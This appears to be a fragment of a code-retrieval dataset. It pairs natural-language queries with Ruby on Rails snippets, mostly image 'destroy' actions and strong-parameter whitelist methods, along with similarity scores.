"def destroy\n @photo = Photo.find(params[:id])\n\n # Destroy s3 objects\n aws_s3_delete(@photo.key)\n Sebitmin::Application.config.thumbnail_sizes.each do |thumbnail_size|\n aws_s3_delete(@photo[\"thumbnail_key_#{thumbnail_size}\"])\n end\n\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n ImagesIndex.delete params[:id]\n respond_to do |format|\n format.html { redirect_to(\"/images_indices\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @s3_image = S3Image.find(params[:id])\n @s3_image.destroy\n\n respond_to do |format|\n format.html { redirect_to s3_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_images_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @image_upload = ImageUpload.find(params[:id])\n @image_upload.destroy\n\n respond_to do |format|\n format.html { redirect_to image_uploads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @imagedemo.destroy\n respond_to do |format|\n format.html { redirect_to imagedemos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @photo = Photo.find(params[:id])\n File.delete(Rails.root.join(\"app\",'assets','images',@photo.path))\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @property_image = PropertyImage.find(params[:id])\n @property_image.destroy\n\n respond_to do |format|\n format.html { redirect_to property_images_url }\n format.json { head :no_content }\n end\n end",
"def delete_image(id)\n uri = URI.parse(\"http://\" + @location.host + \":\" + @location.port.to_s + \"/v2/images/\" + id)\n return delete_request(uri, @token)\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html {redirect_to admin_path, notice: 'Image was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n @variant_image = VariantImage.find(params[:id])\n @variant = @variant_image.variant\n @variant_image.destroy\n\n respond_to do |format|\n format.html { redirect_to @variant.product }\n format.json { head :ok }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: \"Image was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @img = Img.find(params[:id])\n @img.destroy\n\n respond_to do |format|\n format.html { redirect_to(imgs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n request(:delete, \"/computing/image/#{uuid}\")\n true\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n file_url = @image.url\n @image.destroy\n\n File.delete(\"public/uploads/#{file_url}\")\n\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image_url = ImageUrl.find(params[:id])\n @image_url.destroy\n\n respond_to do |format|\n format.html { redirect_to image_urls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review_image = ReviewImage.find(params[:id])\n @review_image.destroy\n\n respond_to do |format|\n format.html { redirect_to review_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n head :no_content\n end",
"def destroy\n @img.destroy\n respond_to do |format|\n format.html { redirect_to imgs_url, notice: \"Img was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy()\n respond_to do |format|\n format.html { redirect_to images_url, notice: \"Image was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @recipe_image.destroy\n respond_to do |format|\n format.html { redirect_to recipe_images_url, notice: 'Recipe image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_image.destroy\n respond_to do |format|\n format.html { redirect_to admin_images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n output = \"oneimage delete #{resource[:name]} \", self.class.login\n `#{output}`\n end",
"def destroy\n @image_path = ImagePath.find(params[:id])\n @image_path.destroy\n\n respond_to do |format|\n format.html { redirect_to(image_paths_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estate_agent_image = EstateAgentsImage.find(params[:id])\n @estate_agent_image.destroy\n\n respond_to do |format|\n format.html { redirect_to estate_agent_image_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @combined_image = CombinedImage.find(params[:id])\n @combined_image.destroy\n\n respond_to do |format|\n format.html { redirect_to combined_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n redirect_to console_images_path\n end",
"def remove_image( image_id )\n image_id = image_id.to_s.upcase\n upload_key = UPLOAD_PATH % image_id\n hires_key = HIRES_PATH % image_id\n lowres_key = LOWRES_PATH % image_id\n\n client.delete_objects(\n bucket: aws.bucket,\n delete: {\n objects: [\n {key: upload_key},\n {key: hires_key},\n {key: lowres_key}\n ]\n }\n )\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to photos_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html do\n flash[:notice] = \"Image Successfully deleted\"\n redirect_to :back\n end\n format.json do\n render json: 'success'\n end\n end\n\n end",
"def destroy\n @imagem = Imagem.find(params[:id])\n @imagem.destroy\n\n respond_to do |format|\n format.html { redirect_to imagems_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Imagen eliminada correctamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image_to_sample.destroy\n respond_to do |format|\n format.html { redirect_to image_to_samples_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @column_image.destroy\n respond_to do |format|\n format.html { redirect_to column_images_url }\n format.json { head :no_content }\n end\n end",
"def delete_product_image(rid, id, add_params = nil)\n params = {\n uid: uid,\n rid: rid,\n id: id,\n }\n api_call('/stores/:uid/products/:rid/images/:id(.:format)',:delete,params,add_params)\n end",
"def delete_image(image_id)\n delete(\"cloud-instances/#{guid}/images/#{image_id}\")\n end",
"def destroy\n @banner_img = BannerImg.find(params[:id])\n @banner_img.destroy\n\n respond_to do |format|\n format.html { redirect_to banner_imgs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(admins_images_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @image_section = ImageSection.find(params[:id])\n @image_section.destroy\n\n respond_to do |format|\n format.html { redirect_to image_sections_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @objective_image.destroy\n respond_to do |format|\n format.html { redirect_to objective_images_url, notice: 'Objective image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image_file.destroy\n respond_to do |format|\n format.html { redirect_to image_files_url, notice: 'Image file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to mypictures_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @slide_image = SlideImage.find(params[:id])\n @slide_image.destroy\n\n respond_to do |format|\n format.html { redirect_to slide_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = ImagePost.find(params[:id])\n @image.destroy\n track_activity @image\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Gui::Image.find(params[:id])\n @image.destroy\n redirect_to gui_panels_path\n\n # respond_to do |format|\n # format.html { redirect_to gui_images_url }\n # format.json { head :no_content }\n # end\n end",
"def destroy\n @s3image.destroy\n respond_to do |format|\n format.html { redirect_to s3images_url, notice: 'S3image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_images_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pet_image_repo.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Image was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shop_photo = ShopPhoto.find(params[:id])\n @shop_photo.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_photos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @image_gallery = ImageGallery.find(params[:id])\n @image_gallery.destroy\n\n respond_to do |format|\n format.html { redirect_to image_galleries_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @loc_image.destroy\n respond_to do |format|\n format.html { redirect_to loc_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @photo1 = Photo1.find(params[:id])\n @photo1.destroy\n\n respond_to do |format|\n format.html { redirect_to photo1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @image = Image.find(params[:id])\n checkaccountobject(\"images\",@image)\n cloud = Oecloud.new(:zone => @image.zone, :image => @image)\n if cloud.deregisterimage\n @image.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @shop_image.destroy\n respond_to do |format|\n flash[:success] = 'The shop image was successfully destroyed.'\n format.html { redirect_to admin_shop_images_path }\n format.json { head :no_content }\n end\n end"
] | [
"0.75422037",
"0.75253284",
"0.7512888",
"0.74552846",
"0.7440323",
"0.7438339",
"0.7429205",
"0.74037325",
"0.7365591",
"0.7361594",
"0.73432827",
"0.7330427",
"0.7330427",
"0.7330427",
"0.7330427",
"0.7330427",
"0.7330427",
"0.729567",
"0.729567",
"0.729567",
"0.729567",
"0.729567",
"0.729567",
"0.729567",
"0.7236577",
"0.7234211",
"0.7199279",
"0.7187335",
"0.71776813",
"0.7149325",
"0.71458024",
"0.71359015",
"0.71271145",
"0.7125044",
"0.71048164",
"0.7103998",
"0.70985097",
"0.7082394",
"0.70820165",
"0.7079305",
"0.70745665",
"0.70745665",
"0.70745665",
"0.70745665",
"0.70745665",
"0.70745665",
"0.70745665",
"0.70745665",
"0.70745665",
"0.70745665",
"0.70745665",
"0.70745665",
"0.70670044",
"0.7065704",
"0.7065623",
"0.70650524",
"0.7061942",
"0.706039",
"0.705919",
"0.70576644",
"0.7055612",
"0.7055062",
"0.7052761",
"0.7044152",
"0.7033013",
"0.7033013",
"0.7033013",
"0.7023644",
"0.7002325",
"0.7002156",
"0.6998048",
"0.69890046",
"0.6980688",
"0.6980646",
"0.6979174",
"0.69785994",
"0.69653475",
"0.69652754",
"0.6959075",
"0.6954707",
"0.69539857",
"0.69533974",
"0.69448537",
"0.69418406",
"0.6938357",
"0.69353575",
"0.6927725",
"0.6926201",
"0.69231415",
"0.6920442",
"0.69195944",
"0.6915781",
"0.6914777",
"0.6912578",
"0.6912492",
"0.69063497",
"0.69013184",
"0.68994164",
"0.6899137",
"0.68948215",
"0.6894578"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def workshop_image_params
params.require(:workshop_image).permit(:craft_image, :connector, :display_pic, :workshop_id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
e.g. lets us use strip_ads( ht ) attribute reader aliases | def name() title; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def parse_autolink; end",
"def strip_attributes(doc)\n attrs = %w[data-tralics-id data-label data-number data-chapter\n role aria-readonly target]\n doc.tap do\n attrs.each do |attr|\n doc.xpath(\"//@#{attr}\").remove\n end\n end\n end",
"def strip_link_definitions( str, rs )\n\t\t\tstr.gsub( LinkRegexp ) {|match|\n\t\t\t\tid, url, title = $1, $2, $3\n\n\t\t\t\trs.urls[ id.downcase ] = encode_html( url )\n\t\t\t\tunless title.nil?\n\t\t\t\t\trs.titles[ id.downcase ] = title.gsub( /\"/, \""\" )\n\t\t\t\tend\n\n\t\t\t\t\"\"\n\t\t\t}\n\t\tend",
"def html_attributify\n downcase.gsub(/[_\\/\\s]/, \"-\").gsub(/[^0-9a-z\\-]+/, \"\")\n end",
"def strip() end",
"def strip_attributes\n self.title = self.title.try :strip\n self.url = self.url.try :strip\n self.author = self.author.try :strip\n self.content = self.content.try :strip\n self.summary = self.summary.try :strip\n self.guid = self.guid.try :strip\n end",
"def alias_processing\n self.alias = Russian.translit(self.alias.strip.gsub(' ', '_').gsub(/[\\W\\d]/, '')).downcase\n end",
"def link_sanitizer; end",
"def link_sanitizer; end",
"def link_sanitizer; end",
"def strip_leading_articles! a\n\t\ta.gsub!(/^(a|an|the) (.+)/,'\\2')\n\tend",
"def link_sanitizer=(_arg0); end",
"def link_sanitizer=(_arg0); end",
"def link_sanitizer=(_arg0); end",
"def set_attributes_to_reader\n if [email protected]?\n @attributes.each { |ele|\n self.class.__send__(:attr_reader, ele.downcase)\n }\n end\n\nend",
"def resolve_doc_attributes(doc_src, node_attr)\n # rule 3.5\n doc_attr = DEFAULT_ADOC_DOC_ATTRIBS.dup\n\n # sort attribs into soft and hard (rule 1 and 3)\n soft_attr = {}\n hard_attr = {}\n @config_opts.fetch(:adoc_doc_attribs, {}).each do |k, v|\n ks = k.to_s.strip\n vs = v.to_s.strip\n\n if ks.end_with?(\"@\")\n soft_attr[ks[0..]] = vs\n next\n end\n if vs.end_with?(\"@\")\n soft_attr[ks] = vs[0..]\n next\n end\n hard_attr[ks] = vs\n end\n\n # rule 3.\n doc_attr.merge!(soft_attr)\n\n # rule 2\n Giblish.process_header_lines(doc_src.lines) do |line|\n a = /^:(.+):(.*)$/.match(line)\n next unless a\n @logger.debug { \"got header attr from doc: #{a[1]} : #{a[2]}\" }\n doc_attr[a[1].strip] = a[2].strip\n end\n\n @logger.debug { \"idprefix before: #{doc_attr[\"idprefix\"]}\" }\n\n # rule 1.5\n doc_attr.merge!(node_attr)\n\n # rule 1.\n doc_attr.merge!(hard_attr)\n\n @logger.debug { \"idprefix after: #{doc_attr[\"idprefix\"]}\" }\n\n # @logger&.debug { \"Header attribs: #{doc_attr}\" }\n doc_attr\n end",
"def scrape_detail\n self.doc = Scrapable::Helpers.parse detail_url\n self.class.attributes.each do |attribute,id|\n if id['anchor'] # substring\n self[attribute] = doc.at_css('#' + id).andand[:href]\n else\n self[attribute] = doc.at_css('#' + id).andand.text.andand.sub(/\\A[[:space:]]+\\z/, '')\n end\n end\n end",
